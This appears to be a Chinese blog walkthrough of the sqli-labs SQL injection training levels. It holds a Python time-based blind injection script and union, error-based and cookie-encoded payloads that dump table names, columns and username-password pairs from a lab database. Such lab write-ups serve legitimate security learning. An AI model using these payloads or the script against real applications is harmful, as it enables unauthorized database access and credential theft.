首页 > 数据库 >sql-labs通关记录

sql-labs通关记录

时间:2024-01-17 21:59:33浏览次数:32  
标签:group name Submit labs select sql 通关 concat schema

less 9

这一关是考察盲注 先利用时间盲注观察闭合形式 之后用python脚本进行注入 我这里是ctfshow里面的题目 可以对照修改代码

点击查看代码
import requests

if __name__ == '__main__':
    url = 'http://sql/Less-9/?id=1%27'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            #payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.3),0)%23'
            payload = f'and if(ascii(substr((select group_concat(table_name) from information_schema.tables ),{i},1))>{mid},sleep(0.3),0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.1),0)%23'
            #payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
            # print(payload)
            r = requests.get(url=url + payload)

            try:
                r = requests.get(url=url + payload, timeout=0.15)  # 0.15s内必须返回结果,然后执行下面的语句,如果0.15s还没有结果,则执行except的内容
                high = mid
            except:
                low = mid + 1

        if low != 32:
            result += chr(low)
        else:
            break

        print(result)

less10

  • 只有闭合方式不同

less 11

  • 使用post提交数据

  • 爆表名

  • uname='union select (select group_concat(table_name) from information_schema.tables where table_schema=database() ),2 --+&passwd=123&Submit=Submit

  • 爆列名

  • uname='union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),2 --+&passwd=123&Submit=Submit

  • 注意点 users要加上单引号= =

  • 爆数据

  • uname='union select (select group_concat(username,'-',password) from users ),2 --+&passwd=123&Submit=Submit

  • 总结 本关除了post提交外并无新意

less 13

  • 本关 post 加上 没回显 可以用报错注入
  • 这里用的是floor报错
  • 先看看库名能否爆出
  • passwd=123&Submit=Submit&uname=admin') union select count(), concat_ws('-',(select database()),floor(rand(0)2)) as a from information_schema.tables group by a--+
  • 注意点 concat_ws里面 第二个数据要加上括号 as a 要写在from 的前面
  • 报表名
  • passwd=123&Submit=Submit&uname=admin') union select count(), concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database() ),floor(rand(0)2)) as a from information_schema.tables group by a--+
  • 其他无区别

less 18

  • 1'or updatexml(1,concat('#',(select database())),4),2,3)#
  • 第二种方法是 ' 语句 or'

less 19

  • ' or extractvalue(1,concat('#',(select database()))),2)#
  • 第二种方法是 ' 语句 or '

less21

  • 发现cookie是经过base64编码后的
  • 猜测sql查询语句里的cookie要经过base64解码
  • 单引号闭合
  • 所以把less19用的payload经过base64编码即可

less22

  • 与上一关只有闭合方式不同 这一题用双引号闭合

less23

  • 查看源码 发现过滤了-- 和#
  • 要闭合前后的单引号 所以沿用之前的 or '
  • 接下来就是正常的步骤 可以联合查询或者报错注入等方式

less24

标签:group,name,Submit,labs,select,sql,通关,concat,schema
From: https://www.cnblogs.com/lolydawn/p/17971248

相关文章

  • sql注入知识点总结
    mysql基础知识删除数据库dropdatabase库名;创建数据库createdatabase库名;php中使用sql语句来创建$sql='createdatabasedatabase_name';$retval=mysqli_query($coon,$sql);选择数据库usedatabase_name;php中使用mysqli_select_db($conn,'database_name')......
  • 无涯教程-SQLite - 安装步骤
    SQLite以其出色的零配置功能而闻名,这意味着不需要复杂的设置或管理,本章将引导您完成在Windows,Linux和MacOSX上设置SQLite的过程。在Windows上安装步骤1-转到SQLite下载页面,并从Windows部分下载预编译的二进制文件。步骤2-下载sqlite-shell-win32-*.zip和sqlite-dll-win......
  • 数据迁移sql语句
    --------------------------------导入题目------------------------------INSERTINTOftb_cultivate_question(`F_Id`,`F_ClassifyId`,`F_Type`,`F_Difficulty`,`F_Content`,`F_Answer`,`F_EnabledMark`,`F_CreatorUserId`,......
  • MySQL5.7开启查询日志和审计日志
    Mysql审计日志1、下载mariadb-5.5.56-linux-x86_64.tar.gz解压获取server_audit.so插件下载链接:https://downloads.mariadb.org/mariadb-galera/5.5.56/#file_type=source2、登录MySQL,执行命令获取MySQL的plugin目录mysql>SHOWGLOBALVARIABLESLIKE'plugin_dir';+-------......
  • PostgreSQL 临时表
    CREATETEMPTABLE这种方式创建的临时表默认是session级别的,session关闭会自动删除。(也可以创建为事务级别的,事务结束自动删除)。 CREATETEMPTABLEtemp_table_name(column_list);postgresql官方文档介绍:临时表存在于一个特殊的schema里,所以不支持创建的时候指定sch......
  • SQLserver获取本周、本月、本季、本年、第一天、最后一天
    注:本周第一天为周一、最后一天为周日(七)--本周第一天selectdateadd(WEEK,datediff(WEEK,0,getdate()),0);--本周最后一天selectdateadd(WEEK,datediff(WEEK,0,getdate()),6);--上周第一天selectdateadd(WEEK,datediff(WEEK,0,getdate())-1,0);--上周最后一天select......
  • sql 语句中的DISTINCT以及在count中的使用
    原文链接:https://www.cnblogs.com/tanshuai1001/p/8761378.htmlhttps://baijiahao.baidu.com/s?id=1709966309120511971&wfr=spider&for=pcdistrict必须放在所有字段前面:SELECTDISTINCTstudent,classFROMcourses单字段时按照字段筛选,多字段是以所有字段的值作为key来筛......
  • 无涯教程-SQL Numeric Functions函数
    SQL数字函数主要用于数字操作和/或数学计算。下表详细介绍了数字函数-Sr.No.Function&描述1ABS()返回数值表达式的绝对值。2ACOS()返回数值表达式的反余弦值。如果该值不在-1到1之间,则返回NULL。3ASIN()返回数字表达式的反正弦值。如果值不在-1到1的范围内,则返......
  • sql sever 表处理(增删改查等)
    -------------------------------------------------------------------------查--查找表里是否有某个字段:SELECT*FROMINFORMATION_SCHEMA.COLUMNSWHERECOLUMN_NAME='字段名'ANDTable_Namelike'[^V]%'-------------------------------------------------......
  • 无涯教程-SQL RAND Function函数
    SQL具有RAND函数,可以调用该函数以生成介于0和1之间的随机数-SQL>SELECTRAND(),RAND(),RAND();+------------------+-----------------+------------------+|RAND()|RAND()|RAND()|+------------------+-----------------+-----......